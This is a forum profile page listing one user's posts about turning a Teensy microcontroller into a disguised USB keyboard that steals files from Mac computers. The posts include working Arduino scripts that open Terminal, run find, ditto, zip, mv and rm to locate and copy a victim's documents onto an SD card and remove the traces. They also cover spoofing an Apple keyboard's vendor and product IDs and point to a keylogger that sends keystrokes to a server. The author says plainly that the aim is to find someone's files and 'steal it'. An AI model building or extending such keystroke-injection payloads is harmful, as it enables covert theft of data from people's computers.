Jump to content

BITS1

Active Members
  • Posts

    46
  • Joined

  • Last visited

Everything posted by BITS1

  1. Hi, Your questions are so much similar to what I have been posting up lately. It seems like you still haven't received your answers yet... :( I THINK you could get the Teensy with the SD card to load some type of executable file to record and possibly save it to the SD card again. You could also get the terminal to run a script and log the terminal session. We could also have Teensy listen until someone types the cap lock button to start recording the keystrokes by executing our own program that is saved in the teensy's sd card. Here is the post of sandyreddy coding the program which logs all the keys that has been clicked and send them to the server online. This uses Firefox as a mean of sending information out. http://www.hak5.org/forums/index.php?showtopic=16616 With the Teensyuindo .9 released, you could make the teensy be recognized by the computer as a serial port. So, I think you could have some files be sent to the serial port (toward SD card). The teensy has the ability to write files to its own SD card and I wonder if it can request documents from the computer and then write that file to its SD card. If it does work,that would be awesome. However, I have not received any confirmation if this is possible. I have been reading and posting questions about this to Paul and everyone else's posts but so far, I haven't received any replies. I know this is possible, I just want to know from anyone who is familiar with Teensy if this is possible to implement or not. Thanks! Bits1
  2. Hi! Do you have any codes that can have the teensy store that file to an external drive? Since we could attach an SD card to the Teensy, I think we could come up with codes that can obtain documents and storing it on the memory card. Thanks! Bits1
  3. Hi, Do you mean like getting the terminal to show up on the mac? The equivalent of the run command is calling the spotlight on the mac and type in any application name and press enter. It can also search and open any files as well. If I misunderstood your question, I apologize. :) Sincerely, Bits1 void cmd(){ //calls up the spotlight Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(100); //run the terminal or command line Keyboard.print("Terminal"); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); delay(600); }
  4. Hi everyone, In the new Teensyduino 0.9, there is an option of making the teensy with the SD card into a serial port. I have done some research that tells me I can have the teensy request the computer to search for a document and listens for the computer to respond whether it finds the document or not. If it did, then the teensy can have the computer transfer the documents in bits over to the teensy, which will create the file with that same name and dump all the data into it. Once its finish, the teensy can blink the light to notify the user. I can see that this is possible, however, I have not seen any EXAMPLES or any projects that has something to do with file transfer from computer to Teensy and serial ports with the Teensy. If I were to have teensy communicate with the computer to send files to the serial port (teensy in disguise) , I suppose I'm doing this on the user's behalf? and so, I worry about permissions. Do root users only have the rights to read and write files? What about the regular users who do NOT have administration rights? Also, if I have the Teensy as a Serial Port, I cannot type any commands onto the Terminal. How would you be able to request for certain documents from the computer? I guess this would mean I will be coding in C and have Teensy communicate with the PC somehow... I have written a code that have Teensy as a Keyboard + SD Card. This code has the Keyboard calling the terminal to search for a document and then taking the output of the terminal, and move this file to the SD card that is mounted on the computer. The problem with this is that I do not know when the search is finish and whether the file is found or not. Even if the file is found and is sent to the SD card, is there any way for the Teensy to check internally if it has this specific document? Thank you for all your help. Sincerely, Bits1 void setup(){ Serial.begin(9600); Serial.println("BEGIN"); ComboKeys(MODIFIERKEY_GUI, KEY_SPACE); delay(100); //Opens the terminal Keyboard.print("Terminal"); sendKey(KEY_ENTER); //sending out command to find this text file // find ~ -name "testout.txt" | pbcopy delay(1500); Keyboard.print("find "); ComboKeys(MODIFIERKEY_SHIFT,KEY_TILDE); sendKey(KEY_SPACE); ComboKeys(0,KEY_MINUS); Keyboard.print("name "); ComboKeys(0, KEY_QUOTE); Keyboard.print("testout.txt"); ComboKeys(0, KEY_QUOTE); ComboKeys(MODIFIERKEY_SHIFT, KEY_BACKSLASH); release(); Keyboard.print(" pbcopy"); delay(100); sendKey(KEY_ENTER); delay(2000); //pasting the output of the terminal onto the textedit //then grabs the directory address Keyboard.print("open -a textedit.app"); sendKey(KEY_ENTER); delay(1500); ComboKeys(MODIFIERKEY_GUI,KEY_V); ComboKeys(MODIFIERKEY_GUI, KEY_UP); Keyboard.set_modifier(MODIFIERKEY_GUI|MODIFIERKEY_SHIFT); Keyboard.send_now(); sendKey(KEY_RIGHT); //copies the directory delay(1000); ComboKeys(MODIFIERKEY_GUI, KEY_C); ComboKeys(MODIFIERKEY_GUI,KEY_SPACE); delay(100); //opens the terminal Keyboard.print("terminal"); sendKey(KEY_ENTER); delay(1000); //moves this file to the SD card //mv /home/testout.txt /Volumes/"NO NAME" Keyboard.print("mv "); ComboKeys(MODIFIERKEY_GUI,KEY_V); Keyboard.print(" /Volumes/"); ComboKeys(0,KEY_QUOTE); Keyboard.print("NO NAME"); ComboKeys(0,KEY_QUOTE); sendKey(KEY_ENTER); Serial.println("done"); delay(1000); } void loop(){} void ComboKeys(int mod, int key) { Keyboard.set_modifier(mod); Keyboard.send_now(); Keyboard.set_key1(key); Keyboard.send_now(); release(); } void sendKey(int key) { Keyboard.set_key1(key); Keyboard.send_now(); release(); } void release() { Keyboard.set_modifier(0); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); }
  5. Hello, In the new Teensyduino 0.9, Paul included the option of making the teensy with the SD card into a serial port. I have done some research that tells me I can have the teensy request the computer to search for a document and listens for the computer to respond whether it finds the document or not. If it did, then the teensy can have the computer transfer the documents in bits over to the teensy, which will create the file with that same name and dump all the data into it. Once its finish, the teensy can blink the light to notify the user. I can see that this is possible, however, I have not seen any EXAMPLES or any projects that has something to do with file transfer and serial ports with the Teensy. The SdFat library do contain some examples about creating file but it only generates files within the root directory, which is the SD card. If I were to send commands on the terminal to send files to the serial port (teensy in disguise) , I'm doing this on the user's behalf and so I worry about permissions. Do root users only have the rights to read and write files? What about the regular users who do NOT have administration rights? Thank you for your help. Sincerely, Bits1
  6. Hi! I had a problem with something similar to what you have. I was trying to have the Keyboard type in "ifconfig | blah blah..." the Straight line would not go in as a string, just like what you had on yours, the backslash. For me, I had to do something like Keyboard.print("ifconfig"); KeyCombo(MODIFIERKEY_SHIFT, KEY_BACKSLASH); <- this is just a method that I have defined in my code to type in the straight line, so for your command, you might have to break up that string and have the keyboard type out the backslash instead of having it inside the string. If you found a better idea, please post your answer on the forum so we all can learn from it. :) Thanks! Bits1
  7. Hi Paul, I followed your advices and everything is going well so far. I understand the Serial.print() command and I found out where the usb_private.h is located. I used the Vendor ID and Product ID that Psyduck has. For those who wants to know, its Vendor ID = 0x05ac and Product ID = 0x0220 this should work as a mac keyboard and dell keyboard... I have been working with the Teensy++ and the DIP switches so that I can have different commands ready based on the states of the dip switches. I have also soldered the Teensy 2.0 with the SD card adapter so now I'm just waiting for the SD cards to come in soon. :) My next step is working on getting the Teensy to store data... :) I'll keep you updated on what I'm doing. Thank you again for your help. Bits1
  8. Thank you for letting me know that reading from the Terminal window is possible. I will check out the commands that you have mentioned. Is this process the same with Mac and Linux? I'm currently working with a mac machine right now and then I will move onto working with Windows and Linux machines soon. I am very interested in working with SD cards and storing data onto it. I saw your posts on SD card libraries and once my sd card comes in from the mail, i will definitely make full use of it. :) Also, I saw some posts about changing Vendor ID and Product ID and the comments states go to arduino-xxx/hardware..../usb_private.h ...where exactly do I find this file? I have looked all over my mac and tried to find it on www.pjrc.org and I have no idea where... Is it because I am coding with Arduino language and using the Arduino IDE? I saw examples on USB keyboard with these settings but coded in C. Do you prefer using C than Arduino? Looking at the complexity level, Arduino language seems easier to understand. PS Your comments are very helpful to me. Thank you very much. Bits1
  9. Thats a great idea actually. What I had Teensy do originally was once its on the terminal, it will make a quick zip file of the Documents folder, then moves it to an SD card and then close the terminal. This is just me assuming that the Document folder is on my home directory. However, what if the user has a document folder on desktop and it couldn't find the Document folder on its home directory. Thus, I suppose Teensy can't read the output of the terminal saying something like: no folder found, no permission... ? This would not work for me then. :( Do you have any recommendations? You said that Teensy can read cap locks and other key presses, do you know where the library is located? And thank you for your suggestions, I will go check out irongeek's website again to see if he has any new posts. :] Bits1
  10. So does that mean we shouldn't use the clock? Or we should add more delay time? I wonder, does it have the same effect on all operating systems? I'm getting ready to incorporate the sd card to the Teensy and I just want to know whether this will cause problems later on... Thanks for your posts, it really helps me understand how to use Teensy. I'm still new at this..:] Bits1
  11. Wow, thank you for your perfect answer. It makes sense now. I'm still new to all this so I wasn't sure what it does. I was hoping that Serial.read() could some how read characters on the Terminal or communicate with it. I am currently trying to think of a way for the Teensy to read or have some sort of way to recognize its currently location on the Terminal. Like, if you stored a document somewhere and you want to locate it quickly using a Teensy, is there some way for the Teensy to determine where it is on the terminal, use "find" to locate the directory of that document and then go to that directory? I am hoping there is some way to program Teensy to search and notify me if it could find this certain document or not. Thank you very much for replying to my post and helping me out. Bits1
  12. Hi! Thanks for the post about the arduino .9 version. Can you explain to me what is Serial.print()? What is it used for? Thank you! Bits1
  13. That is very cool!! :) Do you have any features that can search for a particular file or document and have it sent of to an email? I'm working on a small project that requires me to get Teensy to look for a file and then send it off. However, I'm not sure how to do that. I saw Serial.read() could be a way to 'read' for the file names but i'm not very confident in that. Do you have any suggestions? Thanks for posting your project on here, it will help me learn more about what Teensy is capable of doing. :) Bits1
  14. Hi! Thanks for replying. I'm actually working with Mac. I know that the terminal is capable of showing me all the hidden files and such, I just have some trouble coming up with the right way to program Teensy to look for these files if they are not in the current directory. If the files i'm looking for is on the Desktop but I'm currently on the user's files on the Terminal, how would I plan this so Teensy know where to go? Is there anyway we can get Teensy to READ inputs from the computer and carry out certain commands based on the what it receives? Thanks alot!!! :) Bits1
  15. I have done something like what you had, take the user's document, zip it, and save it to external memory (will be inside sd card but I dont own one at the moment so it saves it onto desktop). However, I wonder about what if this certain document is located elsewhere? How would we be able to get Teensy to find it and steal it? Any ideas? Here's the code I came up with... any help is greatly appreciated. :] const int ledPin = 11; int state = LOW; void setup(){ pinMode(ledPin, OUTPUT); digitalWrite(ledPin, LOW); } void loop(){ cmd(); copyMoveFile(); delay(600); zipFile(); delay(1000); deleteFiles(); closecmd(); if (digitalRead(ledPin) == HIGH){ digitalWrite(ledPin, LOW); } else{ digitalWrite(ledPin, HIGH); } delay(1500); } void cmd(){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(100); Keyboard.print("Terminal"); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); delay(600); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); } void release(){ Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } void copyMoveFile(){ Keyboard.print("ditto testing secret"); //copy this folder enter(); release(); Keyboard.print("mv secret Desktop"); //moves to desktop or to any directory enter(); release(); } void zipFile(){ Keyboard.print("cd Desktop"); enter(); release(); Keyboard.print("zip -r zippedSecret.zip secret"); //zips the file enter(); release(); } void deleteFiles(){ Keyboard.print("rm -R secret"); enter(); release(); Keyboard.print("rm zippedsecret.zip"); //removes the zipped file enter(); release(); } void closecmd(){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_W); Keyboard.send_now(); release(); digitalWrite(ledPin, HIGH); delay(1000); }
  16. I have done something like what you had, take the user's document, zip it, and save it to external memory (will be inside sd card but I dont own one at the moment so it saves it onto desktop). However, I wonder about what if this certain document is located elsewhere? How would we be able to get Teensy to find it and steal it? Any ideas? Here's the code I came up with... any help is greatly appreciated. :] const int ledPin = 11; int state = LOW; void setup(){ pinMode(ledPin, OUTPUT); digitalWrite(ledPin, LOW); } void loop(){ cmd(); copyMoveFile(); delay(600); zipFile(); delay(1000); deleteFiles(); closecmd(); if (digitalRead(ledPin) == HIGH){ digitalWrite(ledPin, LOW); } else{ digitalWrite(ledPin, HIGH); } delay(1500); } void cmd(){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(100); Keyboard.print("Terminal"); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); delay(600); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); } void release(){ Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } void copyMoveFile(){ Keyboard.print("ditto testing secret"); //copy this folder enter(); release(); Keyboard.print("mv secret Desktop"); //moves to desktop or to any directory enter(); release(); } void zipFile(){ Keyboard.print("cd Desktop"); enter(); release(); Keyboard.print("zip -r zippedSecret.zip secret"); //zips the file enter(); release(); } void deleteFiles(){ Keyboard.print("rm -R secret"); enter(); release(); Keyboard.print("rm zippedsecret.zip"); //removes the zipped file enter(); release(); } void closecmd(){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_W); Keyboard.send_now(); release(); digitalWrite(ledPin, HIGH); delay(1000); }
  17. Hi! I saw your post and I'm very interested in seeing how we can make it so that the Teensy can identify what system its on and carry out certain command based on whether its on a Mac, Linux, or Windows computer. Has any one done that before? I know we could determine ourselves what type of computer it is and just select certain dip switch combo to execute certain commands but I wonder if we can actually have Teensy identify that for us. Bits1
  18. Wow what you posted is really awesome!!! Is there any way to "teach" the teensy to find certain folders? For example, if I want to copy and send someone's files to my email but I do not know where he or she saved it. Is there any way to implement this? Thank you so much for your post, I am a newbie so I need all the help I can get :] Bits1
×
×
  • Create New...